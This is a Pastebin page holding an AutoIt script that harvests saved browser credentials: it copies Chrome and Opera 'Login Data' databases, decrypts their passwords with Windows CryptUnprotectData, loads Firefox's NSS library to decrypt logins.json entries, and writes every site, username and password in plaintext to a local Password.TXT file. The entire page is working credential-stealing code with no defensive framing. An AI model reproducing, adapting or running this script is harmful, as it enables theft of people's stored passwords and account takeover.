Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <SQLite.au3>
- Local $Password
- _Get_Chrome_Opera_Password($Password)
- _Firefox_Password_recovery($Password)
- filedelete("Password.TXT")
- FileWrite("Password.TXT", $Password)
- Func _Get_Chrome_Opera_Password(ByRef $Password)
- _SQLite_Startup()
- If @error Then Return SetError(1)
- Local $tempLogindatadir = @ScriptDir & "\LData\"
- If FileExists($tempLogindatadir) Then DirRemove($tempLogindatadir, 1)
- Local $LoginData = _Get_Logindata($tempLogindatadir)
- If Not @error Then
- For $io = 1 To $LoginData[0][0]
- _SQLite_Open($LoginData[$io][0])
- If Not @error Then
- Local $hQuery
- _SQLite_Query(-1, "SELECT * FROM logins;", $hQuery)
- If Not @error Then
- Local $aRow
- If $LoginData[$io][1] <> "" Then $Password &= @CRLF & "-------------------------[" & $LoginData[$io][1] & "]--------------------------" & @CRLF
- While _SQLite_FetchData($hQuery, $aRow, False, False) = $SQLITE_OK
- If UBound($aRow, 1) < 6 Then ContinueLoop
- $Password &= "Site: " & $aRow[0] & @CRLF & _
- "User: " & $aRow[3] & @CRLF & _
- "Password: " & UncryptRDPPassword($aRow[5]) & @CRLF & _
- "____________________________________________________________________" & @CRLF
- WEnd
- EndIf
- _SQLite_QueryFinalize($hQuery)
- _SQLite_Close()
- EndIf
- Next
- EndIf
- If FileExists($tempLogindatadir) Then DirRemove($tempLogindatadir, 1)
- _SQLite_Shutdown()
- EndFunc ;==>_Get_Chrome_Opera_Password
- Func _Get_Logindata($TEmpdirlogindata)
- Local $AllProfileChrome[2][2]
- __ChromePassword_Find_LoginData($TEmpdirlogindata, $AllProfileChrome)
- If Not @error Then $AllProfileChrome[1][1] = "Chrome Password"
- $LoginDataOpera = __OPeraPassword_Find_LoginData($TEmpdirlogindata)
- If Not @error Then
- ReDim $AllProfileChrome[$AllProfileChrome[0][0] + 2][2]
- $AllProfileChrome[0][0] += 1
- $AllProfileChrome[$AllProfileChrome[0][0]][1] = "Opera Password"
- $AllProfileChrome[$AllProfileChrome[0][0]][0] = $LoginDataOpera
- EndIf
- If $AllProfileChrome[0][0] < 1 Then Return SetError(1)
- Return $AllProfileChrome
- EndFunc ;==>_Get_Logindata
- Func __ChromePassword_Find_LoginData($ChromeCopyloginPath, ByRef $AllProfileChrome)
- Local $ChromePath = @UserProfileDir & "\Local Settings\Application Data\Google\Chrome\User Data\"
- If Not FileExists($ChromePath) Then Return SetError(1)
- Local $Sname
- If FileExists($ChromePath & "Default\Login Data") Then
- $AllProfileChrome[0][0] = 1
- $Sname = $AllProfileChrome[0][0]
- FileCopy($ChromePath & "Default\Login Data", $ChromeCopyloginPath & $Sname, 9)
- If @error Then
- $ChromeCopyloginPath = $ChromePath & "Default\"
- $Sname = "Login Data"
- EndIf
- $AllProfileChrome[1][0] = $ChromeCopyloginPath & $Sname
- EndIf
- Local $search = FileFindFirstFile($ChromePath & "*.*")
- If $search = -1 Then Return SetError(2)
- While True
- Local $file = FileFindNextFile($search)
- If @error Then ExitLoop
- If Not @extended Then ContinueLoop
- If StringInStr($file, "Profile") > 0 Then
- If FileExists($ChromePath & $file & "\Login Data") Then
- ReDim $AllProfileChrome[$AllProfileChrome[0][0] + 2][2]
- $AllProfileChrome[0][0] += 1
- $Sname = $AllProfileChrome[0][0]
- FileCopy($ChromePath & $file & "\Login Data", $ChromeCopyloginPath & $Sname, 9)
- If @error Then
- $ChromeCopyloginPath = $ChromePath & $file & "\"
- $Sname = "Login Data"
- EndIf
- $AllProfileChrome[$AllProfileChrome[0][0]][0] = $ChromeCopyloginPath & $Sname
- EndIf
- EndIf
- WEnd
- FileClose($search)
- If $AllProfileChrome[0][0] < 1 Then Return SetError(3)
- EndFunc ;==>__ChromePassword_Find_LoginData
- Func __OPeraPassword_Find_LoginData($OperaCopyloginPath)
- Local $OperaPath = @AppDataDir & "\Opera Software\Opera Stable\Login Data"
- If Not FileExists($OperaPath) Then Return SetError(1)
- FileCopy($OperaPath, $OperaCopyloginPath & "Op", 9)
- If @error Then Return $OperaPath
- Return $OperaCopyloginPath & "Op"
- EndFunc ;==>__OPeraPassword_Find_LoginData
- Func UncryptRDPPassword($bin)
- ;This Func From >> http://www.autoitscript.com/forum/topic/96783-dllcall-for-cryptunprotectdata/#entry695769
- Local Const $CRYPTPROTECT_UI_FORBIDDEN = 0x1
- Local Const $DATA_BLOB = "int;ptr"
- Local $passStr = DllStructCreate("byte[1024]")
- Local $DataIn = DllStructCreate($DATA_BLOB)
- Local $DataOut = DllStructCreate($DATA_BLOB)
- $pwDescription = 'psw'
- $PwdHash = ""
- DllStructSetData($DataOut, 1, 0)
- DllStructSetData($DataOut, 2, 0)
- DllStructSetData($passStr, 1, $bin)
- DllStructSetData($DataIn, 2, DllStructGetPtr($passStr, 1))
- DllStructSetData($DataIn, 1, BinaryLen($bin))
- $return = DllCall("crypt32.dll", "int", "CryptUnprotectData", _
- "ptr", DllStructGetPtr($DataIn), _
- "ptr", 0, _
- "ptr", 0, _
- "ptr", 0, _
- "ptr", 0, _
- "dword", $CRYPTPROTECT_UI_FORBIDDEN, _
- "ptr", DllStructGetPtr($DataOut))
- If @error Then Return ""
- $len = DllStructGetData($DataOut, 1)
- $PwdHash = Ptr(DllStructGetData($DataOut, 2))
- $PwdHash = DllStructCreate("byte[" & $len & "]", $PwdHash)
- Return BinaryToString(DllStructGetData($PwdHash, 1), 4)
- EndFunc ;==>UncryptRDPPassword
- Func _Firefox_Password_recovery(ByRef $Password)
- Local $sFireFoxPath = _GetFireFoxinstallPath()
- If @error Then Return
- Local $sFireFoxProfilePath = _FireFoxProFilePath()
- If @error Then Return
- Local $sJsonFile = $sFireFoxProfilePath & "logins.json"
- Local $ReadJson = FileRead($sJsonFile)
- If @error Or $ReadJson = "" Then Return
- Local $aList = __GetJsonArray($ReadJson)
- If Not (IsArray($aList)) Or Not (UBound($aList) >= 6) Then Return
- Local $DllDecrypt = _GetFireFoxDllDecryptPath($sFireFoxPath)
- If @error Then Return
- Local $h_mozglue = _WinAPI_LoadLibrary($DllDecrypt[1])
- If @error Then Return
- Local $h_msvcr = _WinAPI_LoadLibrary($DllDecrypt[2])
- If @error Then Return
- Local $h_msvcp = _WinAPI_LoadLibrary($DllDecrypt[3])
- If @error Then Return
- Local $h_NSS3 = DllOpen($DllDecrypt[0])
- If Not @error Then
- DllCall($h_NSS3, "dword:CDECL", "NSS_Init", "str", $sFireFoxProfilePath)
- If Not @error Then
- Local $hSlot = DllCall($h_NSS3, "ptr:CDECL", "PK11_GetInternalKeySlot")
- If Not @error Then
- $hSlot = $hSlot[0]
- $Password &= @CRLF & "-------------------------[Firefox Password]--------------------------" & @CRLF
- For $i = 0 To UBound($aList) - 1 Step 6
- $Password &= "Site: " & $aList[$i + 1] & @CRLF & _
- "User: " & __FireFoxDecrypt($h_NSS3, $hSlot, $aList[$i + 3]) & @CRLF & _
- "Password: " & __FireFoxDecrypt($h_NSS3, $hSlot, $aList[$i + 5]) & @CRLF & _
- "____________________________________________________________________" & @CRLF
- Next
- DllCall($h_NSS3, "NONE:CDECL", "PK11_FreeSlot", "ptr", $hSlot)
- EndIf
- DllCall($h_NSS3, "NONE:CDECL", "NSS_Shutdown")
- EndIf
- DllClose($h_NSS3)
- EndIf
- _WinAPI_FreeLibrary($h_msvcr)
- _WinAPI_FreeLibrary($h_msvcp)
- _WinAPI_FreeLibrary($h_mozglue)
- EndFunc ;==>_Firefox_Password_recovery
- Func __GetJsonArray($sData)
- Local $aList = StringRegExp($sData, '\"(hostname|encryptedPassword|encryptedUsername)":"(.*?)"', 3)
- Return $aList
- EndFunc ;==>__GetJsonArray
- Func _GetFireFoxDllDecryptPath($sFireFoxPath)
- Local $DLLdir[4]
- Local $msvcr = "msvcr100.dll"
- Local $msvcp = "msvcp100.dll"
- Local $mozglue = "mozglue.dll"
- Local $nss3 = "nss3.dll"
- If Not FileExists($sFireFoxPath & $mozglue) Or Not FileExists($sFireFoxPath & $nss3) Then Return SetError(1)
- $DLLdir[1] = $sFireFoxPath & $mozglue
- $DLLdir[0] = $sFireFoxPath & $nss3
- Local $findDll
- If Not FileExists(@SystemDir & '\' & $msvcr) Then
- $findDll = _Find_Dll_IN_Mozilla_PAth($sFireFoxPath, "msvcr")
- If @error Then Return SetError(3)
- $DLLdir[2] = $sFireFoxPath & $msvcr
- Else
- $DLLdir[2] = @SystemDir & '\' & $msvcr
- EndIf
- If Not FileExists(@SystemDir & '\' & $msvcp) Then
- $findDll = _Find_Dll_IN_Mozilla_PAth($sFireFoxPath, "msvcp")
- If @error Then Return SetError(3)
- $DLLdir[3] = $sFireFoxPath & $findDll
- Else
- $DLLdir[3] = @SystemDir & '\' & $msvcp
- EndIf
- Return $DLLdir
- EndFunc ;==>_GetFireFoxDllDecryptPath
- Func _GetFireFoxinstallPath()
- Local Const $sRegFireFox = "HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\"
- Local $F_Version = RegRead($sRegFireFox & "Mozilla Firefox", "currentversion")
- If $F_Version = "" Then Return SetError(1)
- Local $F_Path = RegRead("HKLM\SOFTWARE\mozilla\mozilla firefox\" & $F_Version & "\main", "install directory")
- If $F_Path = "" Then Return SetError(1)
- If Not FileExists($F_Path) Then SetError(1)
- Return $F_Path & "\"
- EndFunc ;==>_GetFireFoxinstallPath
- Func _FireFoxProFilePath()
- Local $sPath = @AppDataDir & "\Mozilla\Firefox\"
- Local $Rduni = IniRead($sPath & "profiles.ini", "Profile0", "Path", "")
- If $Rduni = "" Then Return SetError(1)
- Return $sPath & $Rduni & "\"
- EndFunc ;==>_FireFoxProFilePath
- Func __FireFoxDecrypt($h_NSS3, $hSlot, $sCryptedData)
- Local $tByteData, $iRet, $dwSize, $DataIn, $DataOut, $tData
- $tByteData = DllStructCreate("byte Data[1024]")
- $iRet = DllCall("Crypt32.dll", "bool", "CryptStringToBinary", "str", $sCryptedData, "dword", StringLen($sCryptedData), "dword", 0x00000001, "ptr", DllStructGetPtr($tByteData), "dword*", 8096, "ptr", 0, "ptr", 0)
- If Not @error Then
- $dwSize = $iRet[5]
- DllCall($h_NSS3, "dword:CDECL", "PK11_Authenticate", "ptr", $hSlot, "BOOL", True, "ptr", 0)
- If @error Then Return ""
- $DataIn = DllStructCreate("dword SECItemType;ptr Data;dword Len")
- DllStructSetData($DataIn, "Data", DllStructGetPtr($tByteData))
- DllStructSetData($DataIn, "len", $dwSize)
- $DataOut = DllStructCreate("dword SECItemType;ptr Data;dword Len")
- DllCall($h_NSS3, "DWORD:CDECL", "PK11SDR_Decrypt", "ptr", DllStructGetPtr($DataIn), "ptr", DllStructGetPtr($DataOut), "ptr", 0)
- If @error Then Return ""
- $tData = DllStructCreate("char String[" & DllStructGetData($DataOut, "len") & "]", DllStructGetData($DataOut, "Data"))
- $sDecrypData = DllStructGetData($tData, "String")
- Return $sDecrypData
- EndIf
- Return ""
- EndFunc ;==>FireFoxDecrypt
- Func _WinAPI_LoadLibrary($sFileName)
- Local $aResult = DllCall("kernel32.dll", "handle", "LoadLibraryW", "wstr", $sFileName)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aResult[0]
- EndFunc ;==>_WinAPI_LoadLibrary
- Func _WinAPI_FreeLibrary($hModule)
- Local $aResult = DllCall("kernel32.dll", "bool", "FreeLibrary", "handle", $hModule)
- If @error Then Return SetError(@error, @extended, False)
- Return $aResult[0]
- EndFunc ;==>_WinAPI_FreeLibrary
- Func _Find_Dll_IN_Mozilla_PAth($sFireFoxPath, $Sdll)
- Local $search = FileFindFirstFile($sFireFoxPath & "*.dll")
- If $search = -1 Then Return SetError(1)
- Local $SRDll
- While True
- Local $file = FileFindNextFile($search)
- If @error Then ExitLoop
- If StringInStr($file, $Sdll) > 0 Then
- $SRDll = $file
- ExitLoop
- EndIf
- WEnd
- FileClose($search)
- If $SRDll = "" Then Return SetError(2)
- Return $SRDll
- EndFunc ;==>_Find_Dll_IN_Mozilla_PAth
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement